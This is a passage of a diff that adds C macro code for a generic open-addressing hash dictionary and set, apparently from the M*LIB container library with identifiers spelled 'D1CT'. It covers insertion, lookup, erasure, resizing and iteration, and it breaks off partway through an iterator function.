+   ,M_IF_METHOD(IN_SERIAL, oplist)(IN_SERIAL(API_0P(M_F(name, _in_serial))),) \
+   ,EQUAL(M_F(name, _equal_p)),                                               \
+   )
+#endif
+
+
+/******************************** INTERNAL ***********************************/
+
+enum m_d1ct_oa_element_e {
+  M_D1CT_OA_EMPTY = 0, M_D1CT_OA_DELETED = 1
+};
+
+#ifdef NDEBUG
+#define M_D1CT_OA_CONTRACT(dict)
+#else
+#define M_D1CT_OA_CONTRACT(dict) do {                                         \
+    M_ASSERT ( (dict) != NULL);                                               \
+    M_ASSERT( (dict)->lower_limit <= (dict)->count);                          \
+    M_ASSERT( (dict)->count <= (dict)->upper_limit );                         \
+    M_ASSERT( (dict)->data != NULL);                                          \
+    M_ASSERT( M_POWEROF2_P((dict)->mask+1));                                  \
+    M_ASSERT( (dict)->mask+1 >= M_D1CT_INITIAL_SIZE);                         \
+    M_ASSERT( (dict)->upper_limit <= (dict)->mask+1);                         \
+  } while (0)
+#endif
+
+#define M_D1CT_OA_DEF_P1(args) M_ID( M_D1CT_OA_DEF_P2 args )
+
+/* Validate the key oplist before going further */
+#define M_D1CT_OA_DEF_P2(name, key_type, key_oplist, value_type, value_oplist, dict_t, dict_it_t, it_deref_t) \
+  M_IF_OPLIST(key_oplist)(M_D1CT_OA_DEF_P3, M_D1CT_OA_DEF_FAILURE)(name, key_type, key_oplist, value_type, value_oplist, dict_t, dict_it_t, it_deref_t)
+
+/* Validate the value oplist before going further */
+#define M_D1CT_OA_DEF_P3(name, key_type, key_oplist, value_type, value_oplist, dict_t, dict_it_t, it_deref_t) \
+  M_IF_OPLIST(value_oplist)(M_D1CT_OA_DEF_P4, M_D1CT_OA_DEF_FAILURE)(name, key_type, key_oplist, value_type, value_oplist, dict_t, dict_it_t, it_deref_t)
+
+/* Stop processing with a compilation failure */
+#define M_D1CT_OA_DEF_FAILURE(name, key_type, key_oplist, value_type, value_oplist, dict_t, dict_it_t, it_deref_t) \
+  M_STATIC_FAILURE(M_LIB_NOT_AN_OPLIST, "(DICT_OA_DEF2): at least one of the given argument is not a valid oplist: " M_AS_STR(key_oplist) " / " M_AS_STR(value_oplist) )
+
+#define M_D1CT_OA_DEF_P4(name, key_type, key_oplist, value_type, value_oplist, dict_t, dict_it_t, it_deref_t) \
+  M_D1CT_OA_DEF_P5(name, key_type, key_oplist, value_type, value_oplist, 0,   \
+                  M_D1CT_OA_LOWER_BOUND, M_D1CT_OA_UPPER_BOUND,               \
+                  dict_t, dict_it_t, it_deref_t)
+
+#define M_D1CT_OASET_DEF_P1(args) M_ID( M_D1CT_OASET_DEF_P2 args )
+
+/* Validate the value oplist before going further */
+#define M_D1CT_OASET_DEF_P2(name, key_type, key_oplist, dict_t, dict_it_t, it_deref_t) \
+  M_IF_OPLIST(key_oplist)(M_D1CT_OASET_DEF_P4, M_D1CT_OASET_DEF_FAILURE)(name, key_type, key_oplist, dict_t, dict_it_t, it_deref_t)
+
+/* Stop processing with a compilation failure */
+#define M_D1CT_OASET_DEF_FAILURE(name, key_type, key_oplist, dict_t, dict_it_t, it_deref_t) \
+  M_STATIC_FAILURE(M_LIB_NOT_AN_OPLIST, "(DICT_OASET_DEF): the given argument is not a valid oplist: " M_AS_STR(key_oplist) )
+
+#define M_D1CT_OASET_DEF_P4(name, key_type, key_oplist, dict_t, dict_it_t, it_deref_t) \
+  M_D1CT_OA_DEF_P5(name, key_type, key_oplist, key_type, M_EMPTY_OPLIST, 1,   \
+                  M_D1CT_OA_LOWER_BOUND, M_D1CT_OA_UPPER_BOUND, dict_t, dict_it_t, it_deref_t )
+
+#define M_D1CT_OA_DEF_P5(name, key_type, key_oplist, value_type, value_oplist, isSet, coeff_down, coeff_up, dict_t, dict_it_t, it_deref_t) \
+                                                                              \
+  /* NOTE:                                                                    \
+     if isSet is true, all methods of value_oplist are NOP methods */         \
+                                                                              \
+  typedef struct M_F(name, _pair_s) {                                         \
+    key_type   key;                                                           \
+    M_IF(isSet)( , value_type value;)                                         \
+  } M_F(name, _pair_ct);                                                      \
+                                                                              \
+  /* Define type returned by the _ref method of an iterator */                \
+  M_IF(isSet)(                                                                \
+    typedef key_type it_deref_t;                                              \
+  ,                                                                           \
+    typedef struct M_F(name, _pair_s) it_deref_t;                             \
+  )                                                                           \
+                                                                              \
+  M_CHECK_COMPATIBLE_OPLIST(name, 1, key_type, key_oplist)                    \
+  M_CHECK_COMPATIBLE_OPLIST(name, 2, value_type, value_oplist)                \
+                                                                              \
+  /* NOTE: We don't want a real oplist for this sub type */                   \
+  M_ARRAY_DEF(M_F(name, _array_pair), M_F(name, _pair_ct),                    \
+            (INIT(M_NOTHING_DEFAULT), SET(M_SET_DEFAULT),                     \
+             INIT_SET(M_SET_DEFAULT), CLEAR(M_NOTHING_DEFAULT)))              \
+                                                                              \
+  typedef struct M_F(name,_s) {                                               \
+    size_t mask, count, count_delete;                                         \
+    size_t upper_limit, lower_limit;                                          \
+    struct M_F(name, _pair_s) *data;                                          \
+  } dict_t[1];                                                                \
+  typedef struct M_F(name, _s) *M_F(name, _ptr);                              \
+  typedef const struct M_F(name, _s) *M_F(name, _srcptr);                     \
+                                                                              \
+  typedef struct M_F(name, _it_s) {                                           \
+    const struct M_F(name,_s) *dict;                                          \
+    size_t index;                                                             \
+  } dict_it_t[1];                                                             \
+                                                                              \
+  /* Define internal types for oplist */                                      \
+  typedef dict_t M_F(name, _ct);                                              \
+  typedef it_deref_t M_F(name, _subtype_ct);                                  \
+  typedef key_type M_F(name, _key_ct);                                        \
+  typedef value_type M_F(name, _value_ct);                                    \
+  typedef dict_it_t M_F(name, _it_ct);                                        \
+  typedef size_t M_F(name, _index_ct);                                        \
+                                                                              \
+  M_INLINE void                                                               \
+  M_C3(m_d1ct_,name,_update_limit)(dict_t dict, size_t size)                  \
+  {                                                                           \
+    /* FIXME: Overflow not handled. What to do in case of it? */              \
+    dict->upper_limit = (size_t) ((double) size * coeff_up) - 1;              \
+    dict->lower_limit = (size <= M_D1CT_INITIAL_SIZE) ? 0 : (size_t) ((double) size * coeff_down) ; \
+    if (M_UNLIKELY(dict->count <= dict->lower_limit)) {                       \
+      dict->lower_limit = 0;                                                  \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _init, dict_t dict)                                         \
+  {                                                                           \
+    M_ASSERT(0 <= (coeff_down) && (coeff_down)*2 < (coeff_up) && (coeff_up) < 1); \
+    dict->mask = M_D1CT_INITIAL_SIZE-1;                                       \
+    dict->count = 0;                                                          \
+    dict->count_delete = 0;                                                   \
+    M_C3(m_d1ct_,name,_update_limit)(dict, M_D1CT_INITIAL_SIZE);              \
+    dict->data = M_CALL_REALLOC(key_oplist, M_F(name, _pair_ct), NULL, 0, M_D1CT_INITIAL_SIZE); \
+    if (M_UNLIKELY_NOMEM (dict->data == NULL)) {                              \
+      M_MEMORY_FULL(M_F(name, _pair_ct), M_D1CT_INITIAL_SIZE);                \
+    }                                                                         \
+    /* Populate the initial table with the 'empty' representation */          \
+    for(size_t i = 0; i < M_D1CT_INITIAL_SIZE; i++) {                         \
+      M_CALL_OOR_SET(key_oplist, dict->data[i].key, M_D1CT_OA_EMPTY);         \
+      M_ASSERT(M_CALL_OOR_EQUAL(key_oplist, dict->data[i].key, M_D1CT_OA_EMPTY)); \
+    }                                                                         \
+    M_D1CT_OA_CONTRACT(dict);                                                 \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _clear, dict_t dict)                                        \
+  {                                                                           \
+    M_D1CT_OA_CONTRACT(dict);                                                 \
+    for(size_t i = 0; i <= dict->mask; i++) {                                 \
+      if (!M_CALL_OOR_EQUAL(key_oplist, dict->data[i].key, M_D1CT_OA_EMPTY)   \
+          && !M_CALL_OOR_EQUAL(key_oplist, dict->data[i].key, M_D1CT_OA_DELETED)) { \
+        M_CALL_CLEAR(key_oplist, dict->data[i].key);                          \
+        M_CALL_CLEAR(value_oplist, dict->data[i].value);                      \
+      }                                                                       \
+    }                                                                         \
+    M_CALL_FREE(key_oplist, M_F(name, _pair_ct), dict->data, dict->mask+1);   \
+    /* Not really needed, but safer */                                        \
+    dict->mask = 0;                                                           \
+    dict->data = NULL;                                                        \
+  }                                                                           \
+                                                                              \
+  M_INLINE value_type * M_ATTR_HOT_FUNCTION                                   \
+  M_F(name, _get)(const dict_t dict, key_type const key)                      \
+  {                                                                           \
+    M_D1CT_OA_CONTRACT(dict);                                                 \
+    /* NOTE: Key can not be the representation of empty or deleted */         \
+    M_ASSERT (!M_CALL_OOR_EQUAL(key_oplist, key, M_D1CT_OA_EMPTY));           \
+    M_ASSERT (!M_CALL_OOR_EQUAL(key_oplist, key, M_D1CT_OA_DELETED));         \
+                                                                              \
+    M_F(name, _pair_ct) *const data = dict->data;                             \
+    const size_t mask = dict->mask;                                           \
+    size_t p = M_CALL_HASH(key_oplist, key) & mask;                           \
+    size_t s = 1;                                                             \
+    while (true) {                                                            \
+      /* Random access, and probably cache miss */                            \
+      if (M_LIKELY (M_CALL_EQUAL(key_oplist, data[p].key, key)) )             \
+        return &data[p].M_IF(isSet)(key, value);                              \
+      if (M_LIKELY (M_CALL_OOR_EQUAL(key_oplist, data[p].key, M_D1CT_OA_EMPTY)) ) \
+        return NULL;                                                          \
+      p = (p + M_D1CT_OA_PROBING(s)) & mask;                                  \
+      M_ASSERT (s <= dict->mask);                                             \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE value_type * M_ATTR_HOT_FUNCTION                                   \
+  M_F(name, _prehashed_get)(const dict_t dict, key_type const key, size_t prehash) \
+  {                                                                           \
+    M_D1CT_OA_CONTRACT(dict);                                                 \
+    M_ASSERT( prehash == M_CALL_HASH(key_oplist, key));                       \
+    /* NOTE: Key can not be the representation of empty or deleted */         \
+    M_ASSERT (!M_CALL_OOR_EQUAL(key_oplist, key, M_D1CT_OA_EMPTY));           \
+    M_ASSERT (!M_CALL_OOR_EQUAL(key_oplist, key, M_D1CT_OA_DELETED));         \
+                                                                              \
+    M_F(name, _pair_ct) *const data = dict->data;                             \
+    const size_t mask = dict->mask;                                           \
+    size_t p = prehash & mask;                                                \
+    size_t s = 1;                                                             \
+    while (true) {                                                            \
+      /* Random access, and probably cache miss */                            \
+      if (M_LIKELY (M_CALL_EQUAL(key_oplist, data[p].key, key)) )             \
+        return &data[p].M_IF(isSet)(key, value);                              \
+      if (M_LIKELY (M_CALL_OOR_EQUAL(key_oplist, data[p].key, M_D1CT_OA_EMPTY)) ) \
+        return NULL;                                                          \
+      p = (p + M_D1CT_OA_PROBING(s)) & mask;                                  \
+      M_ASSERT (s <= dict->mask);                                             \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_IF_DEBUG(                                                                 \
+  M_INLINE bool                                                               \
+  M_C3(m_d1ct_,name,_control_after_resize)(const dict_t h)                    \
+  {                                                                           \
+    /* This function checks if the reshashing of the dict is ok */            \
+    M_F(name, _pair_ct) *data = h->data;                                      \
+    size_t empty = 0;                                                         \
+    size_t del = 0;                                                           \
+    /* Count the number of empty elements and the number of deleted */        \
+    for(size_t i = 0 ; i <= h->mask ; i++) {                                  \
+      empty += M_CALL_OOR_EQUAL(key_oplist, data[i].key, M_D1CT_OA_EMPTY);    \
+      del   += M_CALL_OOR_EQUAL(key_oplist, data[i].key, M_D1CT_OA_DELETED);  \
+    }                                                                         \
+    M_ASSERT(del == 0);                                                       \
+    M_ASSERT(empty + h->count == h->mask + 1);                                \
+    return true;                                                              \
+  }                                                                           \
+  )                                                                           \
+                                                                              \
+  M_P(void, name, _i_resize_up, dict_t h, size_t newSize, bool updateLimit)   \
+  {                                                                           \
+    size_t oldSize = h->mask+1;                                               \
+    M_ASSERT (newSize >= oldSize);                                            \
+    M_ASSERT (M_POWEROF2_P(newSize));                                         \
+    M_F(name, _pair_ct) *data = h->data;                                      \
+    /* resize can be called just to delete the items */                       \
+    if (newSize > oldSize) {                                                  \
+      data = M_CALL_REALLOC(key_oplist, M_F(name, _pair_ct), data, oldSize, newSize); \
+      if (M_UNLIKELY_NOMEM (data == NULL) ) {                                 \
+        M_MEMORY_FULL(M_F(name, _pair_ct), newSize);                          \
+      }                                                                       \
+                                                                              \
+      /* First mark the extended space as empty */                            \
+      M_ASSUME( oldSize + 8 < newSize);                                       \
+      for(size_t i = oldSize ; i < newSize; i+=8) {                           \
+        /* Unroll loop as compiler doesn't do it by itself */                 \
+        M_CALL_OOR_SET(key_oplist, data[i+0].key, M_D1CT_OA_EMPTY);           \
+        M_CALL_OOR_SET(key_oplist, data[i+1].key, M_D1CT_OA_EMPTY);           \
+        M_CALL_OOR_SET(key_oplist, data[i+2].key, M_D1CT_OA_EMPTY);           \
+        M_CALL_OOR_SET(key_oplist, data[i+3].key, M_D1CT_OA_EMPTY);           \
+        M_CALL_OOR_SET(key_oplist, data[i+4].key, M_D1CT_OA_EMPTY);           \
+        M_CALL_OOR_SET(key_oplist, data[i+5].key, M_D1CT_OA_EMPTY);           \
+        M_CALL_OOR_SET(key_oplist, data[i+6].key, M_D1CT_OA_EMPTY);           \
+        M_CALL_OOR_SET(key_oplist, data[i+7].key, M_D1CT_OA_EMPTY);           \
+      }                                                                       \
+    }                                                                         \
+                                                                              \
+    /* Then let's rehash all the entries in their **exact** position.         \
+       If we can't, let's put them in the 'tmp' array.                        \
+       It has been measured that the size of this 'tmp' array is              \
+       around 6% of the size of updated dictionary.                           \
+       NOTE: This should be much cache friendly than typical hash code        \
+       Reserve a little bit of array to avoid reallocation if possible */     \
+    M_F(name, _array_pair_ct) tmp;                                            \
+    M_F(name, _array_pair_init)(tmp);                                         \
+    M_F(name, _array_pair_reserve)M_R(tmp, oldSize >> 2);                     \
+    const size_t mask = (newSize -1);                                         \
+                                                                              \
+    for(size_t i = 0 ; i < oldSize; i++) {                                    \
+      if (!M_CALL_OOR_EQUAL(key_oplist, data[i].key, M_D1CT_OA_DELETED)       \
+          && !M_CALL_OOR_EQUAL(key_oplist, data[i].key, M_D1CT_OA_EMPTY)) {   \
+        size_t p = M_CALL_HASH(key_oplist, data[i].key) & mask;               \
+        if (p != i) {                                                         \
+          if (M_LIKELY (M_CALL_OOR_EQUAL(key_oplist, data[p].key, M_D1CT_OA_EMPTY) \
+                      || M_CALL_OOR_EQUAL(key_oplist, data[p].key, M_D1CT_OA_DELETED))) { \
+            M_CALL_INIT_MOVE(key_oplist, data[p].key, data[i].key);           \
+            M_CALL_INIT_MOVE(value_oplist, data[p].value, data[i].value);     \
+          } else {                                                            \
+            M_F(name, _pair_ct) *ptr = M_F(name, _array_pair_push_back_raw)M_R(tmp); \
+            M_CALL_INIT_MOVE(key_oplist, ptr->key, data[i].key);              \
+            M_CALL_INIT_MOVE(value_oplist, ptr->value, data[i].value);        \
+          }                                                                   \
+          M_CALL_OOR_SET(key_oplist, data[i].key, M_D1CT_OA_EMPTY);           \
+        }                                                                     \
+      } else {                                                                \
+        M_CALL_OOR_SET(key_oplist, data[i].key, M_D1CT_OA_EMPTY);             \
+      }                                                                       \
+    }                                                                         \
+                                                                              \
+    /* Let's put back the entries in the tmp array in their right place */    \
+    /* NOTE: There should be very few entries in this array                   \
+       which contains what we weren't be able to fit in the first pass */     \
+    while (M_F(name, _array_pair_size)(tmp) > 0) {                            \
+      M_F(name, _pair_ct) const *item = M_F(name, _array_pair_back)(tmp);     \
+      size_t p = M_CALL_HASH(key_oplist, item->key) & mask;                   \
+      size_t s = 1;                                                           \
+      /* NOTE: since the first pass, the bucket might be free now */          \
+      /* Likely cache miss */                                                 \
+      while (!M_CALL_OOR_EQUAL(key_oplist, data[p].key, M_D1CT_OA_EMPTY)) {   \
+        p = (p + M_D1CT_OA_PROBING(s)) & mask;                                \
+        M_ASSERT (s <= h->mask);                                              \
+      }                                                                       \
+      M_F(name, _array_pair_pop_move)(&data[p], tmp);                         \
+    }                                                                         \
+                                                                              \
+    M_F(name, _array_pair_clear)M_R(tmp);                                     \
+    h->mask = newSize-1;                                                      \
+    h->count_delete = h->count;                                               \
+    if (updateLimit == true) {                                                \
+      M_C3(m_d1ct_,name,_update_limit)(h, newSize);                           \
+    }                                                                         \
+    h->data = data;                                                           \
+    M_IF_DEBUG (M_ASSERT (M_C3(m_d1ct_,name,_control_after_resize)(h));)      \
+    M_D1CT_OA_CONTRACT(h);                                                    \
+  }                                                                           \
+                                                                              \
+  M_IF(isSet)(                                                                \
+    M_P(void, name, _push, dict_t dict, key_type const key) ,                 \
+    M_P(void, name, _set_at, dict_t dict, key_type const key, value_type const value)) \
+  {                                                                           \
+    M_D1CT_OA_CONTRACT(dict);                                                 \
+    /* NOTE: key can not be the representation of empty or deleted */         \
+    M_ASSERT (!M_CALL_OOR_EQUAL(key_oplist, key, M_D1CT_OA_EMPTY));           \
+    M_ASSERT (!M_CALL_OOR_EQUAL(key_oplist, key, M_D1CT_OA_DELETED));         \
+                                                                              \
+    M_F(name, _pair_ct) *const data = dict->data;                             \
+    const size_t mask = dict->mask;                                           \
+    size_t p = M_CALL_HASH(key_oplist, key) & mask;                           \
+                                                                              \
+    /* Test if bucket is not empty? (50% chance)  */                          \
+    if (!M_CALL_OOR_EQUAL(key_oplist, data[p].key, M_D1CT_OA_EMPTY) ) {       \
+      /* Find the insertion point as the bucket[] is not empty */             \
+      size_t delPos = SIZE_MAX;                                               \
+      size_t s = 1U;                                                          \
+      do {                                                                    \
+        if (M_UNLIKELY(M_CALL_EQUAL(key_oplist, data[p].key, key))) {         \
+          M_CALL_SET(value_oplist, data[p].value, value);                     \
+          return;                                                             \
+        }                                                                     \
+        M_ASSERT (s <= dict->mask);                                           \
+        if (M_CALL_OOR_EQUAL(key_oplist, data[p].key, M_D1CT_OA_DELETED)      \
+            && (delPos == (size_t)-1)) {                                      \
+          delPos = p;                                                         \
+        }                                                                     \
+        p = (p + M_D1CT_OA_PROBING(s)) & mask;                                \
+      } while (!M_CALL_OOR_EQUAL(key_oplist, data[p].key, M_D1CT_OA_EMPTY) ); \
+      if (delPos != SIZE_MAX) {                                               \
+        p = delPos;                                                           \
+        dict->count_delete --;                                                \
+      }                                                                       \
+    }                                                                         \
+                                                                              \
+    M_CALL_INIT_SET(key_oplist, data[p].key, key);                            \
+    M_CALL_INIT_SET(value_oplist, data[p].value, value);                      \
+    dict->count++;                                                            \
+    dict->count_delete ++;                                                    \
+                                                                              \
+    if (M_UNLIKELY (dict->count_delete >= dict->upper_limit)) {               \
+      size_t newSize = dict->mask+1;                                          \
+      if (dict->count > (dict->mask / 2)) {                                   \
+        newSize += newSize;                                                   \
+        if (M_UNLIKELY_NOMEM (newSize <= dict->mask+1)) {                     \
+          M_MEMORY_FULL(char, -(size_t)1);                                    \
+        }                                                                     \
+      }                                                                       \
+      M_F(name,_i_resize_up)M_R(dict, newSize, true);                         \
+    }                                                                         \
+    M_D1CT_OA_CONTRACT(dict);                                                 \
+  }                                                                           \
+                                                                              \
+  M_P(value_type *, name,_safe_get, dict_t dict, key_type const key)          \
+  {                                                                           \
+    M_D1CT_OA_CONTRACT(dict);                                                 \
+    /* NOTE: key can not be the representation of empty or deleted */         \
+    M_ASSERT (!M_CALL_OOR_EQUAL(key_oplist, key, M_D1CT_OA_EMPTY));           \
+    M_ASSERT (!M_CALL_OOR_EQUAL(key_oplist, key, M_D1CT_OA_DELETED));         \
+                                                                              \
+    M_F(name, _pair_ct) *const data = dict->data;                             \
+    const size_t mask = dict->mask;                                           \
+    size_t p = M_CALL_HASH(key_oplist, key) & mask;                           \
+                                                                              \
+    if (M_CALL_EQUAL(key_oplist, data[p].key, key))  {                        \
+      return &data[p].M_IF(isSet)(key, value);                                \
+    }                                                                         \
+    if (M_UNLIKELY (!M_CALL_OOR_EQUAL(key_oplist, data[p].key, M_D1CT_OA_EMPTY) ) ) { \
+      size_t delPos = SIZE_MAX;                                               \
+      if (M_CALL_OOR_EQUAL(key_oplist, data[p].key, M_D1CT_OA_DELETED)) delPos = p; \
+      size_t s = 1U;                                                          \
+      do {                                                                    \
+        p = (p + M_D1CT_OA_PROBING(s)) & mask;                                \
+        if (M_CALL_EQUAL(key_oplist, data[p].key, key)) {                     \
+          return &data[p].M_IF(isSet)(key, value);                            \
+        }                                                                     \
+        M_ASSERT (s <= dict->mask);                                           \
+        if (M_CALL_OOR_EQUAL(key_oplist, data[p].key, M_D1CT_OA_DELETED)      \
+            && (delPos == (size_t)-1)) {                                      \
+          delPos = p;                                                         \
+        }                                                                     \
+      } while (!M_CALL_OOR_EQUAL(key_oplist, data[p].key, M_D1CT_OA_EMPTY) ); \
+      if (delPos != SIZE_MAX) {                                               \
+        p = delPos;                                                           \
+        dict->count_delete --;                                                \
+      }                                                                       \
+    }                                                                         \
+                                                                              \
+    M_CALL_INIT_SET(key_oplist, data[p].key, key);                            \
+    M_CALL_INIT(value_oplist, data[p].value);                                 \
+    dict->count++;                                                            \
+    dict->count_delete ++;                                                    \
+                                                                              \
+    if (M_UNLIKELY (dict->count_delete >= dict->upper_limit)) {               \
+      size_t newSize = dict->mask+1;                                          \
+      if (dict->count > (dict->mask / 2)) {                                   \
+        newSize += newSize;                                                   \
+        if (M_UNLIKELY_NOMEM (newSize <= dict->mask+1)) {                     \
+          M_MEMORY_FULL(char, (size_t)-1);                                    \
+        }                                                                     \
+      }                                                                       \
+      M_F(name,_i_resize_up)M_R(dict, newSize, true);                         \
+      /* data is now invalid */                                               \
+      return M_F(name, _get)(dict, key);                                      \
+    }                                                                         \
+    M_D1CT_OA_CONTRACT(dict);                                                 \
+    return &data[p].M_IF(isSet)(key, value);                                  \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _i_resize_down, dict_t h, size_t newSize)                   \
+  {                                                                           \
+    size_t oldSize = h->mask+1;                                               \
+    M_ASSERT (newSize <= oldSize && M_POWEROF2_P(newSize));                   \
+    if (M_UNLIKELY (newSize < M_D1CT_INITIAL_SIZE))                           \
+      newSize = M_D1CT_INITIAL_SIZE;                                          \
+    const size_t mask = newSize -1;                                           \
+    M_F(name, _pair_ct) *data = h->data;                                      \
+    M_F(name, _array_pair_ct) tmp;                                            \
+    M_F(name, _array_pair_init)(tmp);                                         \
+                                                                              \
+    /* Pass 1: scan lower entries, and move them if needed */                 \
+    for(size_t i = 0; i < newSize; i++) {                                     \
+      if (M_CALL_OOR_EQUAL(key_oplist, data[i].key, M_D1CT_OA_EMPTY))         \
+        continue;                                                             \
+      if (M_CALL_OOR_EQUAL(key_oplist, data[i].key, M_D1CT_OA_DELETED)) {     \
+        M_CALL_OOR_SET(key_oplist, data[i].key, M_D1CT_OA_EMPTY);             \
+        continue;                                                             \
+      }                                                                       \
+      size_t p = M_CALL_HASH(key_oplist, data[i].key) & mask;                 \
+      if (p != i) {                                                           \
+        if (M_CALL_OOR_EQUAL(key_oplist, data[p].key, M_D1CT_OA_EMPTY)        \
+            || M_CALL_OOR_EQUAL(key_oplist, data[p].key, M_D1CT_OA_DELETED)) { \
+          M_CALL_INIT_MOVE(key_oplist, data[p].key, data[i].key);             \
+          M_CALL_INIT_MOVE(value_oplist, data[p].value, data[i].value);       \
+        } else {                                                              \
+          M_F(name, _pair_ct) *ptr = M_F(name, _array_pair_push_back_raw)M_R(tmp); \
+          M_CALL_INIT_MOVE(key_oplist, ptr->key, data[i].key);                \
+          M_CALL_INIT_MOVE(value_oplist, ptr->value, data[i].value);          \
+        }                                                                     \
+        M_CALL_OOR_SET(key_oplist, data[i].key, M_D1CT_OA_EMPTY);             \
+      }                                                                       \
+    }                                                                         \
+    /* Pass 2: scan upper entries and move them back */                       \
+    for(size_t i = newSize; i < oldSize; i++) {                               \
+      if (!M_CALL_OOR_EQUAL(key_oplist, data[i].key, M_D1CT_OA_DELETED)       \
+          && !M_CALL_OOR_EQUAL(key_oplist, data[i].key, M_D1CT_OA_EMPTY)) {   \
+        size_t p = M_CALL_HASH(key_oplist, data[i].key) & mask;               \
+        M_ASSERT (p < i);                                                     \
+        if (!M_CALL_OOR_EQUAL(key_oplist, data[p].key, M_D1CT_OA_EMPTY)) {    \
+          size_t s = 1;                                                       \
+          do {                                                                \
+            p = (p + M_D1CT_OA_PROBING(s)) & mask;                            \
+            M_ASSERT (s <= h->mask);                                          \
+          } while (!M_CALL_OOR_EQUAL(key_oplist, data[p].key, M_D1CT_OA_EMPTY) ); \
+        }                                                                     \
+        M_CALL_INIT_MOVE(key_oplist, data[p].key, data[i].key);               \
+        M_CALL_INIT_MOVE(value_oplist, data[p].value, data[i].value);         \
+      }                                                                       \
+    }                                                                         \
+    /* Pass 3: scan moved entries and move them back */                       \
+    while (M_F(name, _array_pair_size)(tmp) > 0) {                            \
+      M_F(name, _pair_ct) const *item = M_F(name, _array_pair_back)(tmp);     \
+      size_t p = M_CALL_HASH(key_oplist, item->key) & mask;                   \
+      if (!M_CALL_OOR_EQUAL(key_oplist, data[p].key, M_D1CT_OA_EMPTY)) {      \
+        size_t s = 1;                                                         \
+        do {                                                                  \
+          p = (p + M_D1CT_OA_PROBING(s)) & mask;                              \
+          M_ASSERT (s <= h->mask);                                            \
+        } while (!M_CALL_OOR_EQUAL(key_oplist, data[p].key, M_D1CT_OA_EMPTY) ); \
+      }                                                                       \
+      M_F(name, _array_pair_pop_move)(&data[p], tmp);                         \
+    }                                                                         \
+                                                                              \
+    M_F(name, _array_pair_clear) M_R(tmp);                                    \
+    h->count_delete = h->count;                                               \
+    if (newSize != oldSize) {                                                 \
+      h->mask = newSize-1;                                                    \
+      M_C3(m_d1ct_,name,_update_limit)(h, newSize);                           \
+      h->data = M_CALL_REALLOC(key_oplist, M_F(name, _pair_ct), data, oldSize, newSize); \
+      M_ASSERT (h->data != NULL);                                             \
+    }                                                                         \
+    M_IF_DEBUG (M_ASSERT (M_C3(m_d1ct_,name,_control_after_resize)(h));)      \
+    M_ASSERT (h->lower_limit < h->count && h->count < h->upper_limit);        \
+    M_D1CT_OA_CONTRACT(h);                                                    \
+  }                                                                           \
+                                                                              \
+  M_P(bool, name,_erase, dict_t dict, key_type const key)                     \
+  {                                                                           \
+    M_D1CT_OA_CONTRACT(dict);                                                 \
+    /* NOTE: key can't be the representation of empty or deleted */           \
+    M_ASSERT (!M_CALL_OOR_EQUAL(key_oplist, key, M_D1CT_OA_EMPTY));           \
+    M_ASSERT (!M_CALL_OOR_EQUAL(key_oplist, key, M_D1CT_OA_DELETED));         \
+                                                                              \
+    M_F(name, _pair_ct) *const data = dict->data;                             \
+    const size_t mask = dict->mask;                                           \
+    size_t p = M_CALL_HASH(key_oplist, key) & mask;                           \
+                                                                              \
+    /* Random access, and probably cache miss */                              \
+    if (M_UNLIKELY (!M_CALL_EQUAL(key_oplist, data[p].key, key)) ) {          \
+      if (M_CALL_OOR_EQUAL(key_oplist, data[p].key, M_D1CT_OA_EMPTY))         \
+        return false;                                                         \
+      size_t s = 1;                                                           \
+      do {                                                                    \
+        p = (p + M_D1CT_OA_PROBING(s)) & mask;                                \
+        if (M_CALL_OOR_EQUAL(key_oplist, data[p].key, M_D1CT_OA_EMPTY) )      \
+          return false;                                                       \
+        M_ASSERT (s <= dict->mask);                                           \
+      } while (!M_CALL_EQUAL(key_oplist, data[p].key, key));                  \
+    }                                                                         \
+    M_CALL_CLEAR(key_oplist, data[p].key);                                    \
+    M_CALL_CLEAR(value_oplist, data[p].value);                                \
+    M_CALL_OOR_SET(key_oplist, data[p].key, M_D1CT_OA_DELETED);               \
+    M_ASSERT (dict->count >= 1);                                              \
+    dict->count--;                                                            \
+    if (M_UNLIKELY (dict->count < dict->lower_limit)) {                       \
+      M_F(name,_i_resize_down)M_R(dict, (dict->mask+1) >> 1);                 \
+    }                                                                         \
+    M_D1CT_OA_CONTRACT(dict);                                                 \
+    return true;                                                              \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _init_move)(dict_t map, dict_t org)                               \
+  {                                                                           \
+    M_D1CT_OA_CONTRACT(org);                                                  \
+    M_ASSERT (map != org);                                                    \
+    map->mask         = org->mask;                                            \
+    map->count        = org->count;                                           \
+    map->count_delete = org->count_delete;                                    \
+    map->upper_limit  = org->upper_limit;                                     \
+    map->lower_limit  = org->lower_limit;                                     \
+    map->data         = org->data;                                            \
+    /* Mark org as cleared (safety) */                                        \
+    org->mask         = 0;                                                    \
+    org->data         = NULL;                                                 \
+    M_D1CT_OA_CONTRACT(map);                                                  \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it)(dict_it_t it, const dict_t d)                                \
+  {                                                                           \
+    M_D1CT_OA_CONTRACT(d);                                                    \
+    M_ASSERT (it != NULL);                                                    \
+    it->dict = d;                                                             \
+    size_t i = 0;                                                             \
+    while (i <= d->mask                                                       \
+        && (M_CALL_OOR_EQUAL(key_oplist, d->data[i].key, M_D1CT_OA_EMPTY)     \
+          || M_CALL_OOR_EQUAL(key_oplist, d->data[i].key, M_D1CT_OA_DELETED))) { \
+      i++;                                                                    \
+    }                                                                         \
+    it->index = i;                                                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it_set)(dict_it_t it, const dict_it_t ref)                       \
+  {                                                                           \
+    M_ASSERT (it != NULL);                                                    \
+    M_ASSERT (ref != NULL);                                                   \
+    it->dict = ref->dict;                                                     \
+    it->index = ref->index;                                                   \
+    M_D1CT_OA_CONTRACT (it->dict);                                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it_last)(dict_it_t it, const dict_t d)                           \
+  {                                                                           \
+    M_D1CT_OA_CONTRACT(d);                                                    \
+    M_ASSERT (it != NULL);                                                    \
+    it->dict = d;                                                             \
+    size_t i = d->mask;                                                       \
+    while (i <= d->mask                                                       \
